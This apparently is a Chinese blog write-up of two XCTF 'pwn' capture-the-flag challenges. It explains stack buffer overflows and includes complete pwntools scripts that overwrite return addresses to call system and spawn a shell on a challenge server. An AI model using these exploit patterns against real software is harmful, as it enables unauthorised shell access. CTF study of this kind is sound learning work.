学习一下攻防世界pwn专题😂

level0

首先用checksec查看一下保护

是一个64位的程序,开了NX防护(堆栈不可执行)

这边有个system()函数

在这个函数中,buf分配了128个字节,但是read()函数中,我们却可以传入0x200个字节

rbp+8是read函数的返回地址

我们需要把rbp+8给覆盖掉,并且在后面添加callsystem函数的地址,这样就会执行callsystem,可以进行下一步的cat falg操作了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

#context(arch='amd64', os='linux', log_level='debug')
file_name = "./ke1os"

debug = 0

if debug == 1:
r = remote('111.200.241.244', 60230)
else:
r = process(file_name)

elf = ELF(file_name)

payload = b'a' *(0x80 + 8) + p64(0x00400596)

print(payload)

r.sendline(payload)

r.interactive()

参考链接

level 2

查看一下保护,没有开站保护,所以可以栈溢出

进入vulnerable_function()函数,可以看到buf的大小为0x88,但是读入的字符串大小为0x100,所以存在栈溢出漏洞是实锤了。

而且还发现有system()函数,还缺一个”/bin/sh”来提权,

查看字符串,是否有可以利用的字符串

所以我们的思路就是:

  1. 填充字符串使buf溢出
  2. 溢出之后,把buf函数的地址改成system的返回地址,

字符串的地址:0x0804A024

system函数的地址:0x08048320

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# context(arch='i386', os='linux', log_level='debug')
file_name = "./ke1os"

debug = 1

if debug == 1:
r = remote('111.200.241.244', 54370)
else:
r = process("./ke1os")

elf = ELF(file_name)

sys_addr = 0x08048320
binsh_addr = 0x0804A024

payload = b'a'*(0x88+4) + p32(sys_addr) + p32(0x1111) + p32(binsh_addr)

print(payload)

r.sendline(payload)

r.interactive()

分配的buff空间为0x88个字节,因为是32位程序,所以返回地址我们填入的是4个字节,所以是0x88+4个字节,然后下面的是system函数的地址,后面的地址是压入栈的返回地址,所以可以随便填写,因为会直接进行后面的提权,然后就是局部变量,binsh_addr的地址。

也就是在32位程序运行中,函数参数直接压入栈中

调用函数时栈的结构为:调用函数地址->函数返回地址->参数n->参数n-1->参数1

所以要在函数地址后面首先要去覆盖它的返回地址